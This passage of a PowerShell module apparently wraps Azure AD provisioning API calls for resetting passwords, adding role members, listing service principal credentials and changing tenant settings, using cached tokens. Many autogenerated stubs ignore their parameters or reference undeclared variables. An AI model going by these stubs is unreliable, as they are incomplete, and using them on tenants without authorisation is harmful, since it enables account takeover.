$EnableSoftMatchOnUpn,
[Parameter(Mandatory=$false)]
$EnforceCloudPasswordPolicyForPasswordSyncedUsers,
[Parameter(Mandatory=$false)]
$PasswordSync,
[Parameter(Mandatory=$false)]
$SynchronizeUpnForManagedUsers,
[Parameter(Mandatory=$false)]
$UnifiedGroupWriteback,
[Parameter(Mandatory=$false)]
$UserWriteback
)
Process
{
$command="SetCompanyDirSyncFeature"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Enable>$Enable</b:Enable>
<b:Feature>$Feature</b:Feature>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get-PartnerInformation
# Oct 18th 2018
function Get-PartnerInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ReturnValue
)
Process
{
$command="GetPartnerInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get-DomainFederationSettings
function Get-DomainFederationSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="GetDomainFederationSettings"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DomainName>$DomainName</b:DomainName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-DirSyncProvisioningErrors
function Get-DirSyncProvisioningErrors
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$DirSyncProvisioningErrorSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$ErrorCategory,
[Parameter(Mandatory=$False)]
$ObjectType,
[Parameter(Mandatory=$False)]
$PropertyName,
[Parameter(Mandatory=$False)]
$PropertyValue
)
Process
{
$command="ListDirSyncProvisioningErrors"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DirSyncProvisioningErrorSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:ErrorCategory i:nil="true"/>
<c:ObjectType i:nil="true"/>
<c:PropertyName i:nil="true"/>
<c:PropertyValue i:nil="true"/>
</b:DirSyncProvisioningErrorSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipalBySpn
function Remove-ServicePrincipalBySpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ServicePrincipalName
)
Process
{
$command="RemoveServicePrincipalBySpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipalName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-ServicePrincipalResults
function Navigate-ServicePrincipalResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateServicePrincipalResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-AdministrativeUnitMembers
function Add-AdministrativeUnitMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnitMembers,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId
)
Process
{
$command="AddAdministrativeUnitMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnitMembers i:nil="true"/>
<b:AdministrativeUnitObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-RoleMembersByRoleName
function Remove-RoleMembersByRoleName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$RoleName,
[Parameter(Mandatory=$False)]
$RoleMembers
)
Process
{
$command="RemoveRoleMembersByRoleName"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleName i:nil="true"/>
<b:RoleMembers i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-UserResults
function Navigate-UserResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateUserResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-RoleMemberResults
function Navigate-RoleMemberResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateRoleMemberResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipalCredentialsBySpn
function Get-ServicePrincipalCredentialsBySpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$command="ListServicePrincipalCredentialsBySpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-CompanyAllowedDataLocation
function Get-CompanyAllowedDataLocation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ReturnValue
)
Process
{
$command="GetCompanyAllowedDataLocation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Reset-UserPasswordByUpn
function Reset-UserPasswordByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$ForceChangePasswordOnly,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[Boolean]$ForceChangePassword,
[Parameter(Mandatory=$False)]
[string]$NewPassword
)
Process
{
$command="ResetUserPasswordByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ForceChangePasswordOnly i:nil="true"/>
<b:UserPrincipalName i:nil="true"/>
<b:ForceChangePassword i:nil="true"/>
<b:NewPassword i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Contacts
function Get-Contacts
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ContactSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$HasErrorsOnly,
[Parameter(Mandatory=$False)]
$IncludedProperties
)
Process
{
$command="ListContacts"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ContactSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:HasErrorsOnly i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
</b:ContactSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-RoleScopedMemberResults
function Navigate-RoleScopedMemberResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateRoleScopedMemberResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Has-ObjectsWithDirSyncProvisioningErrors2
function Has-ObjectsWithDirSyncProvisioningErrors2
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ObjectType
)
Process
{
$command="HasObjectsWithDirSyncProvisioningErrors2"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectType i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-RoleScopedMembers
function Add-RoleScopedMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$RoleMembers,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId,
[Parameter(Mandatory=$False)]
$RoleObjectId
)
Process
{
$command="AddRoleScopedMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleMembers i:nil="true"/>
<b:AdministrativeUnitObjectId i:nil="true"/>
<b:RoleObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-UserLicensesByUpn
function Set-UserLicensesByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AddLicenses,
[Parameter(Mandatory=$False)]
$RemoveLicenses,
[Parameter(Mandatory=$False)]
$LicenseOptions,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName
)
Process
{
$command="SetUserLicensesByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AddLicenses i:nil="true"/>
<b:RemoveLicenses i:nil="true"/>
<b:LicenseOptions i:nil="true"/>
<b:UserPrincipalName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-RoleByName
function Get-RoleByName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$RoleName
)
Process
{
$command="GetRoleByName"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Add-RoleMembers
# Oct 19th 2018
function Add-RoleMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RoleObjectId,
[Parameter(Mandatory=$True)]
[String]$RoleMemberObjectId,
[ValidateSet('Other','Group','User','ServicePrincipal')]
[String]$RoleMemberType="User"
)
Process
{
$command="AddRoleMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleMembers xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:RoleMember>
<c:DisplayName i:nil="true"/>
<c:EmailAddress i:nil="true"/>
<c:IsLicensed i:nil="true"/>
<c:LastDirSyncTime i:nil="true"/>
$(Add-CElement -Parameter "ObjectId" -Value $RoleMemberObjectId)
<c:OverallProvisioningStatus i:nil="true"/>
$(Add-CElement -Parameter "RoleMemberType" -Value $RoleMemberType)
<c:StrongAuthenticationRequirements i:nil="true"/>
<c:ValidationStatus i:nil="true"/>
</c:RoleMember>
</b:RoleMembers>
$(Add-BElement -Parameter "RoleObjectId" -Value $RoleObjectId)
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-User
function Set-User
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AlternateEmailAddresses,
[Parameter(Mandatory=$False)]
$AlternateMobilePhones,
[Parameter(Mandatory=$False)]
$AlternativeSecurityIds,
[Parameter(Mandatory=$False)]
$BlockCredential,
[Parameter(Mandatory=$False)]
$City,
[Parameter(Mandatory=$False)]
$CloudExchangeRecipientDisplayType,
[Parameter(Mandatory=$False)]
$Country,
[Parameter(Mandatory=$False)]
$Department,
[Parameter(Mandatory=$False)]
$DirSyncProvisioningErrors,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$Errors,
[Parameter(Mandatory=$False)]
$Fax,
[Parameter(Mandatory=$False)]
$FirstName,
[Parameter(Mandatory=$False)]
$ImmutableId,
[Parameter(Mandatory=$False)]
$IndirectLicenseErrors,
[Parameter(Mandatory=$False)]
$IsBlackberryUser,
[Parameter(Mandatory=$False)]
$IsLicensed,
[Parameter(Mandatory=$False)]
$LicenseAssignmentDetails,
[Parameter(Mandatory=$False)]
$LicenseReconciliationNeeded,
[Parameter(Mandatory=$False)]
$Licenses,
[Parameter(Mandatory=$False)]
$LiveId,
[Parameter(Mandatory=$False)]
$MSExchRecipientTypeDetails,
[Parameter(Mandatory=$False)]
$MSRtcSipDeploymentLocator,
[Parameter(Mandatory=$False)]
$MSRtcSipPrimaryUserAddress,
[Parameter(Mandatory=$False)]
$MobilePhone,
[Parameter(Mandatory=$False)]
$OathTokenMetadata,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$Office,
[Parameter(Mandatory=$False)]
$OverallProvisioningStatus="None",
[Parameter(Mandatory=$False)]
$PasswordNeverExpires,
[Parameter(Mandatory=$False)]
$PasswordResetNotRequiredDuringActivate,
[Parameter(Mandatory=$False)]
$PhoneNumber,
[Parameter(Mandatory=$False)]
$PortalSettings,
[Parameter(Mandatory=$False)]
$PostalCode,
[Parameter(Mandatory=$False)]
$PreferredDataLocation,
[Parameter(Mandatory=$False)]
$PreferredLanguage,
[Parameter(Mandatory=$False)]
[String[]]$ProxyAddresses,
[ValidateSet('Other','StagedRolloutOne','StagedRolloutTwo','Compass','Dogfood')]
$ReleaseTrack,
[Parameter(Mandatory=$False)]
$ServiceInformation,
[Parameter(Mandatory=$False)]
$SignInName,
[Parameter(Mandatory=$False)]
$SoftDeletionTimestamp,
[Parameter(Mandatory=$False)]
$State,
[Parameter(Mandatory=$False)]
$StreetAddress,
[Parameter(Mandatory=$False)]
$StrongAuthenticationMethods,
[Parameter(Mandatory=$False)]
$StrongAuthenticationPhoneAppDetails,
[Parameter(Mandatory=$False)]
$StrongAuthenticationProofupTime,
[Parameter(Mandatory=$False)]
$StrongAuthenticationRequirements,
[Parameter(Mandatory=$False)]
$StrongAuthenticationUserDetails,
[Parameter(Mandatory=$False)]
$StrongPasswordRequired,
[Parameter(Mandatory=$False)]
$StsRefreshTokensValidFrom,
[Parameter(Mandatory=$False)]
$Title,
[Parameter(Mandatory=$False)]
$UsageLocation,
[ValidateSet('homepage_office365','shellmail','shellcalendar','shellpeople')]
$UserLandingPageIdentifierForO365Shell,
[Parameter(Mandatory=$True)]
$UserPrincipalName,
[ValidateSet('Super','Bricks')]
$UserThemeIdentifierForO365Shell,
[ValidateSet('Member','Guest','Viral')]
$UserType,
[ValidateSet('NotAvailable','Healthy','Error')]
$ValidationStatus="NotAvailable"
)
Process
{
$command="SetUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:User xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:AlternateEmailAddresses i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<c:AlternateMobilePhones i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<c:AlternativeSecurityIds i:nil="true"/>
$(Add-CElement -Parameter "BlockCredential" -Value "$BlockCredential")
$(Add-CElement -Parameter "City" -Value "$City")
<c:CloudExchangeRecipientDisplayType i:nil="true"/>
$(Add-CElement -Parameter "Country" -Value "$Country")
$(Add-CElement -Parameter "Department" -Value "$Department")
<c:DirSyncProvisioningErrors i:nil="true"/>
$(Add-CElement -Parameter "DisplayName" -Value "$DisplayName")
<c:Errors i:nil="true"/>
$(Add-CElement -Parameter "Fax" -Value "$Fax")
$(Add-CElement -Parameter "FirstName" -Value "$FirstName")
$(Add-CElement -Parameter "ImmutableId" -Value "$ImmutableId")
<c:IndirectLicenseErrors i:nil="true"/>
$(Add-CElement -Parameter "IsBlackberryUser" -Value "$IsBlackberryUser")
<c:IsLicensed i:nil="true"/>
<c:LastDirSyncTime i:nil="true"/>
$(Add-CElement -Parameter "LastName" -Value "$LastName")
<c:LastPasswordChangeTimestamp i:nil="true"/>
<c:LicenseAssignmentDetails i:nil="true"/>
<c:LicenseReconciliationNeeded i:nil="true"/>
<c:Licenses i:nil="true"/>
<c:LiveId i:nil="true"/>
<c:MSExchRecipientTypeDetails i:nil="true"/>
<c:MSRtcSipDeploymentLocator i:nil="true"/>
<c:MSRtcSipPrimaryUserAddress i:nil="true"/>
$(Add-CElement -Parameter "MobilePhone" -Value "$MobilePhone")
<c:ObjectId i:nil="true"/>
$(Add-CElement -Parameter "Office" -Value "$Office")
$(Add-CElement -Parameter "OverallProvisioningStatus" -Value "$OverallProvisioningStatus")
$(Add-CElement -Parameter "PasswordNeverExpires" -Value "$PasswordNeverExpires")
$(Add-CElement -Parameter "PasswordResetNotRequiredDuringActivate" -Value "$PasswordResetNotRequiredDuringActivate")
$(Add-CElement -Parameter "PhoneNumber" -Value "$PhoneNumber")
<c:PortalSettings i:nil="true"/>
$(Add-CElement -Parameter "PostalCode" -Value "$PostalCode")
<c:PreferredDataLocation i:nil="true"/>
$(Add-CElement -Parameter "PreferredLanguage" -Value "$PreferredLanguage")
<c:ProxyAddresses i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
$(Add-CElement -Parameter "ReleaseTrack" -Value "$ReleaseTrack")
<c:ServiceInformation i:nil="true"/>
$(Add-CElement -Parameter "SignInName" -Value "$SignInName")
<c:SoftDeletionTimestamp i:nil="true"/>
$(Add-CElement -Parameter "State" -Value "$State")
$(Add-CElement -Parameter "StreetAddress" -Value "$StreetAddress")
<c:StrongAuthenticationMethods i:nil="true"/>
<c:StrongAuthenticationPhoneAppDetails i:nil="true"/>
<c:StrongAuthenticationProofupTime i:nil="true"/>
<c:StrongAuthenticationRequirements i:nil="true"/>
<c:StrongAuthenticationUserDetails i:nil="true"/>
$(Add-CElement -Parameter "StrongPasswordRequired" -Value "$StrongPasswordRequired")
<c:StsRefreshTokensValidFrom i:nil="true"/>
$(Add-CElement -Parameter "Title" -Value "$Title")
$(Add-CElement -Parameter "UsageLocation" -Value "$UsageLocation")
$(Add-CElement -Parameter "UserLandingPageIdentifierForO365Shell" -Value "$UserLandingPageIdentifierForO365Shell")
$(Add-CElement -Parameter "UserPrincipalName" -Value "$UserPrincipalName")
$(Add-CElement -Parameter "UserThemeIdentifierForO365Shell" -Value "$UserThemeIdentifierForO365Shell")
$(Add-CElement -Parameter "UserType" -Value "$UserType")
<c:ValidationStatus i:nil="true"/>
<c:WhenCreated i:nil="true"/>
</b:User>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-AdministrativeUnitMemberResults
function Navigate-AdministrativeUnitMemberResults
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigateAdministrativeUnitMemberResults"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Set-CompanySettings
# Oct 19th 2018
function Set-CompanySettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$AllowAdHocSubscriptions,
[Parameter(Mandatory=$False)]
[Boolean]$AllowEmailVerifiedUsers,
[Parameter(Mandatory=$False)]
[string]$DefaultUsageLocation,
[Parameter(Mandatory=$False)]
[Boolean]$RmsViralSignUpEnabled,
[Parameter(Mandatory=$False)]
[Boolean]$SelfServePasswordResetEnabled,
[Parameter(Mandatory=$False)]
[Boolean]$UsersPermissionToCreateGroupsEnabled,
[Parameter(Mandatory=$False)]
[Boolean]$UsersPermissionToCreateLOBAppsEnabled,
[Parameter(Mandatory=$False)]
[Boolean]$UsersPermissionToReadOtherUsersEnabled,
[Parameter(Mandatory=$False)]
[Boolean]$UsersPermissionToUserConsentToAppEnabled,
[ValidateSet('Other','StagedRolloutOne','StagedRolloutTwo','Compass','Dogfood')]
[String]$O365UserReleaseTrack
)
Process
{
$command="SetCompanySettings"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Settings xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$(Add-CElement -Parameter "AllowAdHocSubscriptions" -Value $AllowAdHocSubscriptions)
$(Add-CElement -Parameter "AllowEmailVerifiedUsers" -Value $AllowEmailVerifiedUsers)
$(Add-CElement -Parameter "DefaultUsageLocation" -Value $DefaultUsageLocation)
$(Add-CElement -Parameter "RmsViralSignUpEnabled" -Value $RmsViralSignUpEnabled)
$(Add-CElement -Parameter "SelfServePasswordResetEnabled" -Value $SelfServePasswordResetEnabled)
$(Add-CElement -Parameter "UsersPermissionToCreateGroupsEnabled" -Value $UsersPermissionToCreateGroupsEnabled)
$(Add-CElement -Parameter "UsersPermissionToCreateLOBAppsEnabled" -Value $UsersPermissionToCreateLOBAppsEnabled)
$(Add-CElement -Parameter "UsersPermissionToReadOtherUsersEnabled" -Value $UsersPermissionToReadOtherUsersEnabled)
$(Add-CElement -Parameter "UsersPermissionToUserConsentToAppEnabled" -Value $UsersPermissionToUserConsentToAppEnabled)
$(Add-CElement -Parameter "O365UserReleaseTrack" -Value $O365UserReleaseTrack)
</b:Settings>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Roles
function Get-Roles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
